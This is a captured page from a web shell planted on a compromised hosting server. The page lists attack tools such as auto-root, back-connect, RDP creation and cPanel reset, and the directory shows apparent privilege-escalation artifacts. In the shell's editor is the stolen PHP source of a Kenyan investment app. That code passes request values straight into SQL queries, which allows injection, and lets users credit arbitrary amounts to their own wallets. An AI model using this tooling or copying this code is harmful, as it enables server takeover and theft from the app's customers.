Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.216.121
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
trade /
app.tradesense.co.ke /
app /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
BaseController.php
1.36
KB
-rw-r--r--
Cellulant.php
4.9
KB
-rw-r--r--
EFT.php
8.33
KB
-rw-r--r--
Fund.php
18.05
KB
-rw-r--r--
Home.php
22.43
KB
-rw-r--r--
Interest.php
1
B
-rw-r--r--
Ipay.php
20.66
KB
-rw-r--r--
Mpesa.php
19.37
KB
-rw-r--r--
Profile.php
20.49
KB
-rw-r--r--
User.php
17.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Fund.php
<?php namespace App\Controllers; use CodeIgniter\Session\Session; use Config\Database; use App\Models\LoginModel; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; use Dompdf\Dompdf; class Fund extends BaseController { public function fundinfo() { $session = Session(); $user = $session->get('user'); if ($user) { $this->db = Database::connect(); $userid= $user['userid']; $fundid = (int) $this->request->getGet('id'); $data['fundname'] = $this->request->getGet('name'); $data['fundid'] = (int) $this->request->getGet('id'); $fundModel = new \App\Models\FundsModel(); $fundverify = $fundModel ->where('userid', $userid) ->where('fundid', $fundid) ->first(); $queyy = $this->db->query("SELECT * FROM `user` WHERE userid ='$userid'"); $data['merc'] = $queyy->getResultArray(); $number_of_students = "SELECT COUNT(*) as total FROM `notification` WHERE userid ='$userid' AND status = 'Not'"; $data['number_of_new_offers'] = $this->db->query($number_of_students)->getRow(); $quey = $this->db->query("SELECT * FROM `funds` WHERE userid ='$userid' AND fundid ='$fundid'"); $data['fund'] = $quey->getResultArray(); $qufundnamesey = $this->db->query("SELECT * FROM `fundnames` WHERE id ='$fundid' "); $data['fundnames'] = $qufundnamesey->getResultArray(); $quy = $this->db->query("SELECT * FROM `transactions` WHERE userid ='$userid' AND fundid ='$fundid'"); $data['transactions'] = $quy->getResultArray(); $number_of_totalfund = "SELECT SUM(amount) as total FROM `funds` WHERE userid ='$userid'"; $data['number_of_newtotl'] = $this->db->query($number_of_totalfund)->getRow(); $ueyy = $this->db->query("SELECT DISTINCT MONTH(datecreated) AS month, YEAR(datecreated) AS year FROM transactions WHERE fundid ='$fundid' ORDER BY datecreated DESC "); $data['monthes'] = $ueyy->getResultArray(); echo view('fundinfo',$data); } else if (!$user) { return redirect()->to('/login'); // code... } } public function enrolfund() { $session = Session(); $user = $session->get('user'); $this->db = Database::connect(); $request = $this->request; $userid= $user['userid']; $fundname = $request->getPost('fundname'); $fundid = $request->getPost('fundid'); $amount = 0; $interestearned = 0; $maturedinterest = 0; $enrolmentday = date('Y-m-d'); $currentMonth = date('m'); $currentYear = date('Y'); // Get the next month and year $nextMonth = date('m', strtotime('+1 month')); $nextYear = date('Y', strtotime('+1 month')); // Construct the date for the second day of the next month $expecttedmaturitydate = date('Y-m-d', strtotime("$nextYear-$nextMonth-02")); $transactioncode = 'ENROLMENT-FUNDNO-'.$fundid.'-USER-'.$userid.''; $transactionmode = 'ENROL-FUNDNO-'.$fundid.'-USER-'.$userid.''; $fundsModel = new \App\Models\FundsModel(); $data = [ 'userid' => $userid, 'fundid' => $fundid, 'amount' => $amount, 'enrolmentday' => $enrolmentday, 'maturitydate' => $expecttedmaturitydate, 'interestearned' => $interestearned, 'maturedinterest' => $maturedinterest ]; $funddata = $fundsModel->insert($data); if ($funddata) { $transModel = new \App\Models\TransactioninfoModel(); $statusss= 'Enrolment'; $dat = [ 'TransactionId' => $transactioncode, 'fundid' => $fundid, 'amount' => $amount, 'userid' => $userid, 'transactionmode' => $transactionmode, 'status' => $statusss ]; $transdata = $transModel->insert($dat); if ($transdata) { return redirect()->to('/enrolsuccess?id='.$fundid.'&name='.$fundname.''); } } } public function enrolsuccess() { $session = Session(); $user = $session->get('user'); if ($user) { $this->db = Database::connect(); $userid= $user['userid']; $data['fundname'] = $this->request->getGet('name'); $number_of_students = "SELECT COUNT(*) as total FROM `notification` WHERE userid ='$userid' AND status = 'Not'"; $data['number_of_new_offers'] = $this->db->query($number_of_students)->getRow(); $data['fundiid'] = (int) $this->request->getGet('id'); $queyy = $this->db->query("SELECT * FROM `user` WHERE userid ='$userid'"); $data['merc'] = $queyy->getResultArray(); $number_of_totalfund = "SELECT SUM(amount) as total FROM `funds` WHERE userid ='$userid'"; $data['number_of_newtotl'] = $this->db->query($number_of_totalfund)->getRow(); echo view('enrolsuccess',$data); } else if (!$user) { return redirect()->to('/login'); // code... } } public function reportgenerator() { $session = Session(); $user = $session->get('user'); $this->db = Database::connect(); $request = $this->request; $userid= $user['userid']; $year = $request->getPost('year'); $month = $request->getPost('month'); $fundid = $request->getPost('fundid'); $queyd = $this->db->query("SELECT funds.userid, funds.fundid,funds.amount,funds.interestearned,dailyinterest.dailyinterest,dailyinterest.userid,dailyinterest.cuurrentdate,dailyinterest.fundid,dailyinterest.datecreated,dailyinterest.id,SUM(dailyinterest.dailyinterest) AS total_investment FROM dailyinterest INNER JOIN funds ON dailyinterest.userid = funds.userid AND dailyinterest.fundid = funds.fundid WHERE MONTH(datecreated) = $month AND YEAR(datecreated) = $year ORDER BY dailyinterest.datecreated ASC;"); $transactions = $queyd->getResultArray(); $queyy = $this->db->query("SELECT * FROM `user` WHERE userid ='$userid'"); $userdata = $queyy->getResultArray(); $reportDirectory = '../public/reports/'; // Generate the HTML report $htmlReport = '<html>'; $htmlReport = "<head> <title>Invoice </title> <link href='https://fonts.googleapis.com/css?family=Poppins' rel='stylesheet'> <style> body { font-family: 'Poppins'; margin: 0; padding: 20px; } .invoice { background-color: #fff; border: 1px solid #ddd; border-radius: 5px; padding: 20px; } .header { display: flex; justify-content: space-between; margin-bottom: 30px; } .company-details h2 { margin: 0; font-size: 24px; } .company-details p { margin: 5px 0; } .invoice-details h1 { margin: 0; font-size: 36px; color: #333; } .content table { width: 100%; border-collapse: collapse; margin-bottom: 30px; } .content th, .content td { padding: 10px; border: 1px solid #ddd; } .content th { background-color: #00004f; color: #ffffff; font-weight: bold; text-align: left; } .content td { text-align: right; } .text-right { text-align: right; } .footer { text-align: center; margin-top: 30px; } @media print { body { padding: 0; } .invoice { border: none; } } </style> </head>"; $htmlReport .= '<body>'; foreach ($userdata as $usedata) { $htmlReport .= '<div class="invoice"> <div class="header"> <div class="company-details"> <img src="http://192.168.13.68/webapp/public/190054.png" height="40"> <br> <h2>' . $usedata['fullname'] . '</h2> <p>Email: ' . $usedata['emailadress'] . '</p> <p>Phone: ' . $usedata['mobilenumber'] . '</p> </div> </div> <div class="content">'; } $htmlReport .= '<h2>Monthly Report</h2>'; $htmlReport .= '<h3>Month: ' . date('F', mktime(0, 0, 0, $month, 1)) . '</h3>'; $htmlReport .= '<table>'; $htmlReport .= ' <thead> <tr> <th>Initial Principle </th> <th>Starting Date </th> <th>Current Date </th> <th>Current Principle</th> <th>Interest Earned </th> <th>Total Amount</th> </tr> </thead> <tbody> '; foreach ($transactions as $transaction) { $htmlReport .= '<tr>'; $htmlReport .= '<td>' . $transaction['amount'] . '</td>'; $htmlReport .= '<td>' . $transaction['cuurrentdate'] . '</td>'; $htmlReport .= '<td>' . $transaction['cuurrentdate'] . '</td>'; $htmlReport .= '<td>' . $transaction['amount'] . '</td>'; $htmlReport .= '<td>Ksh ' . number_format($transaction['total_investment'], 2, '.', '' ) . '</td>'; $htmlReport .= '<td>' . number_format($transaction['interestearned'] + $transaction['amount'], 2, '.', '' ) .'</td>'; $htmlReport .= '</tr>'; } $htmlReport .= ' </tbody> </table> </div> <img src="http://192.168.13.68/webapp/public/10215.png" height="40"> </div> '; $htmlReport .= '</body></html>'; // Generate the PDF from HTML $dompdf = new Dompdf(true); $options = $dompdf->getOptions(); $options->set(array('isRemoteEnabled' => true)); $dompdf->setOptions($options); $dompdf->setBasePath('http://amana.tradesense.co.ke/public/logo.png'); $dompdf->loadHtml($htmlReport); $dompdf->setPaper('A4', 'portrait'); $dompdf->render(); // Save the PDF file $filename = $reportDirectory . 'monthly_report_' . date('Y_m_d_H_i_s', mktime(0, 0, 0, $month, 1)) . '.pdf'; header('Content-Type: application/pdf'); header('Content-Disposition: attachment; filename="' . $filename . '"'); // Output the PDF content echo $dompdf->output(); // Output the link to download the PDF file // Terminate the script exit; } public function transgenerator() { $session = Session(); $user = $session->get('user'); $this->db = Database::connect(); $request = $this->request; $userid= $user['userid']; $queyd = $this->db->query("SELECT * FROM transactions WHERE userid ='$userid' ORDER BY id DESC"); $transactions = $queyd->getResultArray(); $queyy = $this->db->query("SELECT * FROM `user` WHERE userid ='$userid'"); $userdata = $queyy->getResultArray(); $reportDirectory = '../public/reports/'; // Generate the HTML report $htmlReport = '<html>'; $htmlReport = "<head> <title>Transaction Statetement </title> <link href='https://fonts.googleapis.com/css?family=Poppins' rel='stylesheet'> <style> body { font-family: 'Poppins'; margin: 0; padding: 20px; } .invoice { background-color: #fff; border: 1px solid #ddd; border-radius: 5px; padding: 20px; } .header { display: flex; justify-content: space-between; margin-bottom: 30px; } .company-details h2 { margin: 0; font-size: 24px; } .company-details p { margin: 5px 0; } .invoice-details h1 { margin: 0; font-size: 36px; color: #333; } .content table { width: 100%; border-collapse: collapse; margin-bottom: 30px; } .content th, .content td { padding: 10px; border: 1px solid #ddd; } .content th { background-color: #00004f; color: #ffffff; font-weight: bold; text-align: left; } .content td { text-align: right; } .text-right { text-align: right; } .footer { text-align: center; margin-top: 30px; } @media print { body { padding: 0; } .invoice { border: none; } } </style> </head>"; $htmlReport .= '<body>'; foreach ($userdata as $usedata) { $htmlReport .= '<div class="invoice"> <div class="header"> <div class="company-details"> <img src="http://192.168.13.68/webapp/public/190054.png" height="40"> <br> <h2>' . $usedata['fullname'] . '</h2> <p>Email: ' . $usedata['emailadress'] . '</p> <p>Phone: ' . $usedata['mobilenumber'] . '</p> </div> </div> <div class="content">'; } $htmlReport .= '<h2> Transaction Statement</h2>'; $htmlReport .= '<table>'; $htmlReport .= ' <thead> <tr> <th>Transaction Number</th> <th>Transaction Mode </th> <th>Transaction Type</th> <th>Amount</th> <th>Date</th> </tr> </thead> <tbody> '; foreach ($transactions as $transaction) { $htmlReport .= '<tr>'; $htmlReport .= '<td>' . $transaction['id'] . '</td>'; $htmlReport .= '<td>' . $transaction['transactionmode'] . '</td>'; $htmlReport .= '<td>' . $transaction['transtype'] . '</td>'; $htmlReport .= '<td>Ksh ' . $transaction['amount'] . '</td>'; $htmlReport .= '<td>' . $transaction['datecreated'] . '</td>'; $htmlReport .= '</tr>'; } $htmlReport .= ' </tbody> </table> </div> <div class="footer"> <img src="http://192.168.13.68/webapp/public/10215.png" height="40"> </div> </div> '; $htmlReport .= '</body></html>'; // Generate the PDF from HTML $dompdf = new Dompdf(true); $options = $dompdf->getOptions(); $options->set(array('isRemoteEnabled' => true)); $dompdf->setOptions($options); $dompdf->setBasePath('http://amana.tradesense.co.ke/public/logo.png'); $dompdf->loadHtml($htmlReport); $dompdf->setPaper('A4', 'portrait'); $dompdf->render(); // Save the PDF file $filename = $reportDirectory . 'monthly_report_' . date('Y_m_d_H_i_s', mktime(0, 0, 0, $userid, 1)) . '.pdf'; header('Content-Type: application/pdf'); header('Content-Disposition: attachment; filename="' . $filename . '"'); // Output the PDF content echo $dompdf->output(); // Output the link to download the PDF file // Terminate the script exit; } public function recuringpost() { $this->db = Database::connect(); $session = Session(); $user = $session->get('user'); $userid= $user['userid']; $fundid = $this->request->getVar('fundid'); $recurring ='Yes'; $lrecurring = "UPDATE funds SET recurring = '$recurring' WHERE userid = '$userid' AND fundid= '$fundid'"; $tresultrecurring = $this->db->query($lrecurring); if($tresultrecurring){ $session->setFlashdata('Monthlyrecurring', 'You Have Registered For the Monthly Recuring Investment'); return redirect()->to('/fundinfo?id='.$fundid.''); } } public function transferpost() { $session = Session(); $user = $session->get('user'); if ($user) { $this->db = Database::connect(); $userid= $user['userid']; $fundid = $this->request->getVar('fundid'); $amount = $this->request->getVar('amount'); $walletModel = new \App\Models\WalletModel(); $walletverify = $walletModel ->where('userid', $userid) ->first(); if ($walletverify) { $currentamount = $walletverify['amount']; if($amount <= 0){ $session->setFlashdata('insufficiatematurity', 'You Have Insufficient Amount to Transfer'); return redirect()->to('/fundinfo?id='.$fundid.''); } elseif($amount >= 0){ $newamount = $currentamount+$amount; $lrecurring = "UPDATE wallet SET amount = '$newamount' WHERE userid = '$userid'"; $tresultrecurring = $this->db->query($lrecurring); if($tresultrecurring){ $mature = 0 ; $lmature = "UPDATE funds SET maturedinterest = '$mature' WHERE userid = '$userid' AND fundid = '$fundid'"; $tresultlmature = $this->db->query($lmature); $session->setFlashdata('transfered', 'You Have Transfered Matured interest to you Wallet'); return redirect()->to('/index'); } } } } else if (!$user) { return redirect()->to('/login'); // code... } } public function reinvestpost() { $session = Session(); $user = $session->get('user'); if ($user) { $this->db = Database::connect(); $userid= $user['userid']; $fundid = $this->request->getVar('fundid'); $amount = $this->request->getVar('amount'); $fundModel = new \App\Models\FundsModel(); $fundverify = $fundModel ->where('userid', $userid) ->where('fundid', $fundid) ->first(); $walletModel = new \App\Models\WalletModel(); $walletverify = $walletModel ->where('userid', $userid) ->first(); if ($fundverify) { $fundamount = $fundverify['amount']; $walletamount = $walletverify['amount']; if($amount > $walletamount){ $session->setFlashdata('insufficiatereinvest', 'You Have Insufficient Amount to Reinvest'); return redirect()->to('/index'); } elseif($walletamount >= $amount){ $newamount = $fundamount + $amount; $lrecurring = "UPDATE funds SET amount = '$newamount' WHERE userid = '$userid' AND fundid = '$fundid' "; $tresultrecurring = $this->db->query($lrecurring); if($tresultrecurring){ $newwalletbalance= $walletamount - $amount; $lecurring = "UPDATE wallet SET amount = '$newwalletbalance' WHERE userid = '$userid' "; $tresultecurring = $this->db->query($lecurring); $session->setFlashdata('Reinvested', 'You Have Reinvested '.$amount.''); return redirect()->to('/fundinfo?id='.$fundid.''); } } } } else if (!$user) { return redirect()->to('/login'); // code... } } }
Close